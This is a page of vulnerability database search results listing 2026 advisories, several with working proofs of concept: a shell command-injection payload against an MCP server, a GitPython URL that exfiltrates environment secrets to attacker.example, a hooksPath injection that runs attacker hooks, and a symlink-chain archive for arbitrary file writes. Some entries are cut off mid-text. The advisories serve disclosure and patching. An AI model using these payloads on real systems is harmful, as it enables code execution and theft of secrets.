Search: com.py
335 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-74500 In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix stack info leak in RME Digiface status snd_rme_digiface_read_status() reads a four-word status block from the device into an uninitialised on-stack __le32 buf[4] and, whenever the vendor control-IN transfer does not return a negative error, copies all four words into the caller's status[]. snd_usb_ctl_msg() copies the full requested size back into the caller's buffer regardless of how many bytes the data stage actually delivered: buf = kmemdup(data, size, GFP_KERNEL); err = usb_control_msg(dev, pipe, request, requesttype, value, index, buf, size, timeout); memcpy(data, buf, size); usb_control_msg() returns the transferred length on a short control-IN, which is a non-negative value, and writes only that many bytes. The remainder of the copy back is the kmemdup()ed image of the caller's buffer, so a device answering with a short data stage leaves the trailing words of buf[] holding leftover kernel stack. The only guard in the caller is err < 0, so those words are stored into status[]. They then reach user space: snd_rme_digiface_get_status_val() selects a 16-bit halfword of status[] per the control's reg/mask, and the eight Digiface status controls together expose the whole 16-byte frame to an unprivileged reader of /dev/snd/controlC*. Zero-initialise the buffer so a short read yields zeros instead of stack residue. This mirrors snd_rme_get_status1(), which already clears its output word before the same kind of vendor read. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> EPSS 0.2%Vulnerability | GCVE Database | ||
| High | 8.4 | EPSS 0.9% | CVE-2026-55157Token Optimizer MCP · OS command injection in smart_user via username in get-user-info High8.4EPSS 0.9%GCVE DatabaseCVE-2026-55157 ### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username | GCVE Database | ||
| High | 8.7 | EPSS 0.5% | CVE-2026-73622snowflake-cli · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of High8.7EPSS 0.5%GCVE DatabaseCVE-2026-73622 ## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/ | GCVE Database | ||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Unsafe option check validates multi_options before shlex.split transformation High8.1EPSS 0.6%GCVE DatabaseCVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | GCVE Database | ||
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Sceptre: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 ### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946 | GCVE Database | ||
| High | 8.0 | EPSS 0.5% | CVE-2026-23879py7zr · Arbitrary File Write Vulnerability High8.0EPSS 0.5%GCVE DatabaseCVE-2026-23879 ### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.5% | Medium6.9EPSS 0.5%GCVE DatabaseCVE-2026-59938 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires loading images where the declared size values are much too large compared to the actual data. ### Patches This has been fixed in [pypdf==6.14.0](https://github.com/py-pdf/pypdf/releases/tag/6.14.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3888](https://github.com/py-pdf/pypdf/pull/3888). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.6% | Medium6.9EPSS 0.6%GCVE DatabaseCVE-2026-59937 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams. ### Patches This has been fixed in [pypdf==6.14.0](https://github.com/py-pdf/pypdf/releases/tag/6.14.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3887](https://github.com/py-pdf/pypdf/pull/3887). | GCVE Database | ||
| High | 8.7 | EPSS 0.6% | High8.7EPSS 0.6%GCVE DatabaseCVE-2026-59936 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page with a not terminated inline image, as done when extracting the page text for example. ### Patches This has been fixed in [pypdf==6.14.1](https://github.com/py-pdf/pypdf/releases/tag/6.14.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3891](https://github.com/py-pdf/pypdf/pull/3891). | GCVE Database | ||
| High | 8.7 | EPSS 0.6% | CVE-2026-59935pypdf · Possible infinite loop for not terminated inline images (ASCII85 and ASCIIHex filter) High8.7EPSS 0.6%GCVE DatabaseCVE-2026-59935 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page with a not terminated inline image, as done when extracting the page text for example. It only affects the ASCII85 and ASCIIHex filters. ### Patches This has been fixed in [pypdf==6.14.2](https://github.com/py-pdf/pypdf/releases/tag/6.14.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3892](https://github.com/py-pdf/pypdf/pull/3892). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.4% | Medium6.9EPSS 0.4%GCVE DatabaseCVE-2026-57204 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage, as `MAX_DECLARED_STREAM_LENGTH` is sometimes ignored. This requires parsing a content stream without a `/Length` value. ### Patches This has been fixed in [pypdf==6.13.3](https://github.com/py-pdf/pypdf/releases/tag/6.13.3). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3871](https://github.com/py-pdf/pypdf/pull/3871). | GCVE Database | ||
| Medium | 5.1 | EPSS 0.2% | Medium5.1EPSS 0.2%GCVE DatabaseCVE-2026-49460 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/FlateDecode` filter with a PNG predictor. ### Patches This has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3806](https://github.com/py-pdf/pypdf/pull/3806). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.1% | CVE-2026-48735pypdf · Manipulated XMP metadata streams can exhaust RAM Medium6.9EPSS 0.1%GCVE DatabaseCVE-2026-48735 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. ### Patches This has been fixed in [pypdf==6.12.1](https://github.com/py-pdf/pypdf/releases/tag/6.12.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3796](https://github.com/py-pdf/pypdf/pull/3796). | GCVE Database | ||
| Medium | 4.8 | EPSS 0.2% | Medium4.8EPSS 0.2%GCVE DatabaseCVE-2026-41314 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734). | GCVE Database | ||
| Medium | 4.8 | EPSS 0.2% | Medium4.8EPSS 0.2%GCVE DatabaseCVE-2026-41312 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.3% | CVE-2026-41168Pdfly · pypdf has long runtimes for wrong size values in cross-reference and object streams Medium6.9EPSS 0.3%GCVE DatabaseCVE-2026-41168 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with wrong large `/Size` values or object streams with wrong large `/N` values. ### Patches This has been fixed in [pypdf==6.10.1](https://github.com/py-pdf/pypdf/releases/tag/6.10.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3733](https://github.com/py-pdf/pypdf/pull/3733). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.4% | Medium6.9EPSS 0.4%GCVE DatabaseCVE-2026-40260 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the XMP metadata. ### Patches This has been fixed in [pypdf==6.10.0](https://github.com/py-pdf/pypdf/releases/tag/6.10.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3724](https://github.com/py-pdf/pypdf/pull/3724). | GCVE Database | ||
| Medium | 5.1 | EPSS 0.4% | Medium5.1EPSS 0.4%GCVE DatabaseCVE-2026-33123 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and/or large memory usage. This requires accessing an array-based stream with lots of entries. ### Patches This has been fixed in [pypdf==6.9.1](https://github.com/py-pdf/pypdf/releases/tag/6.9.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3686](https://github.com/py-pdf/pypdf/pull/3686). | GCVE Database |
Page 5 of 20 · 2 duplicate CVE records merged